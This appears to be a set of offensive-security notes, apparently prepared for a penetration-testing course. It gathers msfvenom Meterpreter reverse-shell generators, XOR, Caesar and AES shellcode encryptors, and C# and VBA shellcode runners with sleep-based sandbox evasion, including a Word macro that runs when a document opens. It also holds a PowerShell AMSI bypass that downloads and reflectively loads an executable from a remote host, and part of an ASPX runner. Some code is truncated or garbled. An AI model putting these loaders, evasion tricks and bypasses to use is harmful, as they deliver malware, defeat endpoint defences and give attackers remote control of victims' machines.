parser.add_argument("lhost", help="listener IP to use")
parser.add_argument("lport", help="listener port to use")
parser.add_argument("format", help="the language to format the output in ('cs' or 'cpp')", nargs='?', default="cs")
parser.add_argument("encoding", help="the encoding type to use ('xor' or 'rot')", nargs='?', default="xor")
parser.add_argument("key", help="the key to encode the payload with (integer)", type=auto_int, nargs='?', default=randint(1,255))
parser.add_argument("payload", help="the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)", nargs='?', default="windows/x64/meterpreter/reverse_tcp")
args = parser.parse_args()
# Generate the shellcode given the preferred payload
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}")
result = subprocess.run(['msfvenom', '-p', args.payload, f"LHOST={args.lhost}", f"LPORT={args.lport}", 'exitfunc=thread', "-f", "csharp"], stdout=subprocess.PIPE)
if result.returncode != 0:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}")
# Get the payload bytes and split them
payload = re.search(r"{([^}]+)}", result.stdout.decode("utf-8")).group(1).replace('\n', '').split(",")
# Format the output payload
if args.format == "cs":
# Encode the payload with the chosen type and key
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}")
for i, byte in enumerate(payload):
byteInt = int(byte, 16)
if args.encoding == "xor":
byteInt = byteInt ^ args.key
elif args.encoding == "rot":
byteInt = byteInt + args.key & 255
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}")
payload[i] = "{0:#0{1}x}".format(byteInt,4)
payLen = len(payload)
payload = re.sub("(.{65})", "\\1\n", ','.join(payload), 0, re.DOTALL)
payloadFormatted = f"// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n"
payloadFormatted += f"// {args.encoding}-encoded with key {hex(args.key)}\n"
payloadFormatted += f"byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};"
if payLen > 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in CSharp format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""for (int i = 0; i 1000:
f = open("/tmp/payload.txt", "w")
f.write(payloadFormatted)
f.close()
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to '/tmp/payload.txt' in C++ format!{bcolors.ENDC}")
else:
print(f"{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}")
print(payloadFormatted + "\n")
# Provide the decoding function for the heck of it
print(f"{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}")
if args.encoding == "xor":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});
"""
if args.encoding == "rot":
decodingFunc = f"""char bufferx[sizeof buffer];
int i;
for (i = 0; i < sizeof bufferx; ++i)
bufferx[i] = (char)(buffer[i] - {hex(args.key)} & 255);
"""
print(decodingFunc)
else:
exit(f"{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose 'cs' for CSharp or 'cpp' for C++).{bcolors.ENDC}")AES
using System;
using System.Security.Cryptography;
public class AesEncryptionExample
{
public static void Main()
{
byte[] shellcode = new byte[] { /* Your shellcode goes here */ };
byte[] key = Encoding.UTF8.GetBytes("0123456789ABCDEF0123456789ABCDEF"); // 32-byte key
byte[] iv = Encoding.UTF8.GetBytes("0123456789ABCDEF"); // 16-byte IV
byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);
string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace("-", "");
Console.WriteLine("Encrypted shellcode hex: " + encryptedHex);
}
public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)
{
byte[] encrypted;
using (AesManaged aes = new AesManaged())
{
aes.Key = key;
aes.IV = iv;
ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);
}
return encrypted;
}
}AES python helper
Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)
#!/usr/bin/env python3
import array, base64, random, string
from Crypto.Cipher import AES
from hashlib import sha256
import argparse, subprocess, os
def main():
args = parse_args()
lhost = args.lhost
lport = args.lport
key = args.key
if not key:
key = get_random_string(32)
payload = args.payload
method = args.method
format = args.format
''' generate msfvenom payload '''
print("[+] Generating MSFVENOM payload...")
result = subprocess.run(['msfvenom',
'-p', payload,
'LPORT=' + lport,
'LHOST=' + lhost,
# '-b', '\\x00',
'-f', 'raw',
'-o', './msf.bin'],
capture_output=False)
f = open("./msf.bin", "rb")
buf = f.read()
f.close()
print("[+] key and payload will be written to key.b64 and payload.b64")
''' encrypt the payload '''
print("[+] Encrypting the payload, key=" + key + "...")
hkey = hash_key(key)
encrypted = encrypt(hkey, hkey[:16], buf)
b64 = base64.b64encode(encrypted)
f = open("./key.b64", "w")
f.write(key)
f.close()
f = open("./payload.b64", "w")
f.write(b64.decode('utf-8'))
f.close()
if format == "b64":
''' base64 output '''
print("[+] Base64 output:")
print(b64.decode('utf-8'))
print("\n[+] Have a nice day!")
return
if format == "c":
''' c output '''
print("[+] C output:")
hex_string = 'unsigned char payload[] ={0x';
hex = '0x'.join('{:02x},'.format(x) for x in encrypted)
hex_string = hex_string + hex[:-1] + "};"
print(hex_string)
print("\n[+] Have a nice day!")
return
def encrypt(key,iv,plaintext):
key_length = len(key)
if (key_length >= 32):
k = key[:32]
elif (key_length >= 24):
k = key[:24]
else:
k = key[:16]
aes = AES.new(k, AES.MODE_CBC, iv)
pad_text = pad(plaintext, 16)
return aes.encrypt(pad_text)
def hash_key(key):
h = ''
for c in key:
h += hex(ord(c)).replace("0x", "")
h = bytes.fromhex(h)
hashed = sha256(h).digest()
return hashed
def pad(data, block_size):
padding_size = (block_size - len(data)) % block_size
if padding_size == 0:
padding_size = block_size
padding = (bytes([padding_size]) * padding_size)
return data + padding
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-l", "--lport", default="0.0.0.0", type=str,
help="The local port that msfconsole is listening on.")
parser.add_argument("-i", "--lhost", default="443", type=str,
help="The local host that msfconsole is listening on.")
parser.add_argument("-p", "--payload", default = "windows/x64/meterpreter/reverse_https", type=str,
help="The payload to generate in msfvenom.")
parser.add_argument("-m", "--method", default="thread", type=str,
help="The method to use: thread/delegate.")
parser.add_argument("-k", "--key", default="", type=str,
help="The encryption key (32 chars).")
parser.add_argument("-f", "--format", default="b64", type=str,
help="The format to output.")
return parser.parse_args()
def get_random_string(length):
letters = string.ascii_letters + string.digits
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
if __name__ == '__main__':
main()Ceasar
CSharp shellcode
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApp25
{
internal class FileName
{
static void Main(string[] args)
{
byte[] buf = new byte[510] {0xfc.....};
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
// For the current byte in 'buf':
// 1. Cast the byte to a uint (unsigned integer).
// 2. Add 2 to its value.
// 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte's range (0-255).
// 4. Assign the result to the corresponding position in the 'encoded' array.
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach (byte b in encoded)
{
hex.AppendFormat("0x{0:x2}, ", b);
}
Console.WriteLine("The payload is: " + hex.ToString());
// Rest of your code...
}
}
}VBA Shellcode
using System;
using System.Text;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
// Sample shellcode (replace with your own)
byte[] buf = { /* your shellcode byte array here */ };
// Encode using Caesar cipher by adding 2 to each byte
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
uint counter = 0; // Initialize counter
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D}, ", b);
counter++;
if (counter % 50 == 0)
{
hex.AppendFormat("_{0}", Environment.NewLine);
}
}
Console.WriteLine("The payload is: ");
Console.WriteLine(hex.ToString());
}
}
}XOR
CSharp - Encrypt csharp shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
byte[] buf = new byte[511] {
0xfc,0x48,0x83,0xe4 };
// Encode the payload with XOR (fixed key)
byte[] encoded = new byte[buf.Length];
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)((uint)buf[i] ^ 0xfa);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
int totalCount = encoded.Length;
for (int count = 0; count < totalCount; count++)
{
byte b = encoded[count];
if ((count + 1) == totalCount) // Dont append comma for last item
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
if ((count + 1) % 15 == 0)
{
hex.Append("\n");
}
}
Console.WriteLine($"XOR payload (key: 0xfa):");
Console.WriteLine($"byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};");
//// Decode the XOR payload
//for (int i = 0; i < buf.Length; i++)
//{
// buf[i] = (byte)((uint)buf[i] ^ 0xfa);
//}
}
}
}VBA shellcode - Encrypt VBA shellcode
REMEMBER - Check if Word is running 32-bit or 64-bit
msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication
using System;
using System.Text;
namespace XorCoder
{
public class Program
{
public static void Main(string[] args)
{
// Sample shellcode (replace with your own)
byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };
// XOR encryption
byte[] encoded = new byte[buf.Length];
byte XORKey = 250;
for (int i = 0; i < buf.Length; i++)
{
encoded[i] = (byte)(buf[i] ^ XORKey);
}
StringBuilder hex = new StringBuilder(encoded.Length * 2);
int counter = 0; // Initialize counter
foreach (byte b in encoded)
{
hex.AppendFormat("{0:D}, ", b);
counter++;
if (counter % 50 == 0)
{
hex.AppendFormat("_{0}", Environment.NewLine);
}
}
Console.WriteLine("The XOR encoded payload is: ");
Console.WriteLine(hex.ToString());
}
}
}Running encrypted shellcodes
AES - Using python helper
using System;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.IO;
namespace ProcessInjection
{
class Program
{
public enum Protection
{
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_GUARD = 0x100,
PAGE_NOCACHE = 0x200,
PAGE_WRITECOMBINE = 0x400
}
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
private delegate Int32 ShellcodeDelegate();
static void Main(string[] args)
{
Shellcode();
}
static void Shellcode()
{
// attempt heuristics/behaviour bypass
IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if (mem == null)
{
return;
}
// decrypt the base64 payload - change these to your own encrypted payload and key
string payload = "sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg";
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";
byte[] buf = Decrypt(key, payload);
unsafe
{
fixed(byte* ptr = buf)
{
// set the memory as executable and execute the function pointer (as a delegate)
IntPtr memoryAddress = (IntPtr)ptr;
VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);
ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));
func();
}
}
}
private static byte[] Decrypt(string key, string aes_base64)
{
byte[] tempKey = Encoding.ASCII.GetBytes(key);
tempKey = SHA256.Create().ComputeHash(tempKey);
byte[] data = Convert.FromBase64String(aes_base64);
// decrypt data
Aes aes = new AesManaged();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));
using (MemoryStream msDecrypt = new MemoryStream())
{
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))
{
csDecrypt.Write(data, 0, data.Length);
return msDecrypt.ToArray();
}
}
}
static byte[] SubArray(byte[] a, int length)
{
byte[] b = new byte[length];
for (int i = 0; i < length; i++)
{
b[i] = a[i];
}
return b;
}
}
}Instruction:
Use the meterpreter_encryptor.py to create the encrypted base64 shellcode:
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64
[+] Generating MSFVENOM payload...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 667 (iteration=0)
x64/xor_dynamic chosen with final size 667
Payload size: 667 bytes
Saved as: ./msf.bin
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...
[+] Base64 output:
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkgTake the key and shellcode and insert it into ProcessInjector.cs
// decrypt the base64 payload
string payload = "sZkMii [etc...]";
string key = "fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec";Compile the C# code into an executable (e.g., metInject.exe) and serve it via a web server.
Inject the executable into a remote PowerShell process:
# AMSI bypass
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iutils") {$c = $b}};$d = $c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*itFailed") {$f = $e}};$f.SetValue($null,$true)
$bytes = (Invoke-WebRequest "http://192.168.1.228/metInject.exe").Content;
$assembly = [System.Reflection.Assembly]::Load($bytes);
$entryPointMethod = $assembly.GetType('ProcessInjection.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic');
$entryPointMethod.Invoke($null, (, [string[]] ('', '')));AES - Csharp
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
/*-----------------------------------------------
* Simple-Loader.exe: Simple Shellcode Loader |
* |
* Author: @jfaust0 |
* Contact: joshua.faust@sevrosecurity.com |
* Website: SevroSecurity.com |
* ---------------------------------------------*/
namespace goodTimes
{
class Program
{
// CHANGE THESE VALUES --> Seriosuly, these should not be hard coded!
public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };
public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };
// MAIN
static void Main(string[] args)
{
String app_name = AppDomain.CurrentDomain.FriendlyName;
String usage = $"Usage: {app_name} ";
// ENCRYPT PAYLOAD
if (args.Length == 1)
{
if (!File.Exists($@"{args[0]}"))
{
Console.WriteLine("[!] File Does Not Exist!");
Environment.Exit(1);
}
Console.WriteLine("[i] Encrypting Data");
// Read in MetaSploit Byte[] Code from File
String fileData = System.IO.File.ReadAllText($@"{args[0]}");
String tmp = (fileData.Split('{')[1]).Split('}')[0];
// Translate to Byte Array
string[] s = tmp.Split(',');
byte[] data = new byte[s.Length];
for (int i = 0; i 1)
{
Console.WriteLine(usage);
Environment.Exit(1);
}
// RUN PAYLOAD
else
{
// msfvenom -p windows/exe cmd=calc.exe -f csharp --> CHANGE ME!
String hiphop = "ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o";
byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);
nonsense(de_data);
}
}
// Shell Code Loader
public static bool nonsense(byte[] shellcode)
{
try
{
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
catch (Exception e)
{
Console.Error.WriteLine("exception: " + e.Message);
return false;
}
}
// Used to Load Shellcode into Memory:
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, encryptor);
}
}
}
public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
}Ceasar
Csharp shellcode
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
UInt32 dwMilliseconds);
static void Main(string[] args)
{
byte[] buf = new byte[510] {0xfe, 0x4a,.....
};
for(int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}VBA shellcode
Change the XOR vba runner with this
For i = 0 To UBound(buf)
buf(i) = buf(i) - 2
Next iXOR
CSharp
using System.Runtime.InteropServices;
using System;
namespace rev
{
public class Program
{
public const uint EXECUTEREADWRITE = 0x40;
public const uint COMMIT_RESERVE = 0x3000;
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);
public static void Main()
{
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
// XORed with key 0xfa
byte[] buf = new byte[511] {
0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa
};
int payloadSize = buf.Length;
IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Marshal.Copy(buf, 0, payAddr, payloadSize);
IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
int waitResult = WaitForSingleObject(payThreadId, -1);
}
}
}VBA
Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr
Private Declare PtrSafe Function FlsAlloc Lib "KERNEL32" (ByVal callback As LongPtr) As LongPtr
Sub MyMacro()
Dim allocRes As LongPtr
Dim t1 As Date
Dim t2 As Date
Dim time As Long
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As LongPtr
' Call FlsAlloc and verify if the result exists
allocRes = FlsAlloc(0)
If IsNull(allocRes) Then
End
End If
' Sleep for 10 seconds and verify time passed
t1 = Now()
Sleep (10000)
t2 = Now()
time = DateDiff("s", t1, t2)
If time < 10 Then
Exit Sub
End If
' Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)
buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)
' Allocate memory space
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
' Decode the shellcode
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor 250
Next i
' Move the shellcode
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
' Execute the shellcode
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End SubSimple Shellcode Runners
ASPX
OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,ExactSpelling = true)]
